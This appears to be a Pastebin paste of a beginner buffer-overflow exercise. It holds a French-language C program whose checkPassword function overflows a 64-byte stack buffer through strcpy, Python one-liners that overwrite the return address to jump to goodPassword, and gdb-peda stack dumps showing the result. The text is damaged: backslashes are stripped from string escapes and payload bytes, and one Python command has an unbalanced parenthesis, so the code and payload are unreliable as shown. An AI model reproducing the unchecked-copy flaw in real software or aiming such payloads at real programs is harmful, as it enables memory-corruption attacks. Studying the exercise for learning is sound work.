Advertisement
Guest User

Untitled

a guest
Jun 19th, 2019
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <string.h>
  5.  
  6. void checkPassword();
  7. void goodPassword();
  8.  
  9. int main(int argc, char **argv)
  10. {
  11. printf("Debut du programme...n");
  12.  
  13. if (argc < 2)
  14. {
  15. printf("Necessite un argumentn");
  16. return 0;
  17. }
  18.  
  19. printf("Appel de la fonction checkPasswordn");
  20. checkPassword(argv[1]);
  21.  
  22. printf("Fin du programmen");
  23.  
  24. }
  25.  
  26. void checkPassword(const char *arg)
  27. {
  28. char password[64];
  29.  
  30. strcpy(password, arg);
  31.  
  32. if (strcmp(password, "fromage") == 0)
  33. {
  34. goodPassword();
  35. }
  36. else
  37. {
  38. printf("Mauvais mot de passen");
  39. }
  40. }
  41.  
  42. void goodPassword() // This is the function I want to run, address : 0x565562b2
  43. {
  44. printf("Mot de passe correcte!n");
  45.  
  46. }
  47.  
  48. starti $(python2 -c 'print "A"*76 + "xb2x62x55x56".strip() ')
  49.  
  50. starti $(python3 -c 'print(b"A"*76 + b"xb2x62x55x56".strip() ')
  51.  
  52. gdb-peda$ x/24xw $esp
  53. 0xffffcc40: 0xffffcc50 0xffffcfa6 0xf7e2bca9 0x56556261
  54. 0xffffcc50: 0x41412762 0x41414141 0x41414141 0x41414141
  55. 0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141
  56. 0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141
  57. 0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141
  58. 0xffffcc90: 0x41414141 0x41414141 0x41414141 0x785c4141
  59.  
  60. gdb-peda$ x/24xw $esp
  61. 0xffffcc50: 0xffffcc60 0xffffcfac 0xf7e2bca9 0x56556261
  62. 0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141
  63. 0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141
  64. 0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141
  65. 0xffffcc90: 0x41414141 0x41414141 0x41414141 0x41414141
  66. 0xffffcca0: 0x41414141 0x41414141 0x41414141 0x565562b2
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement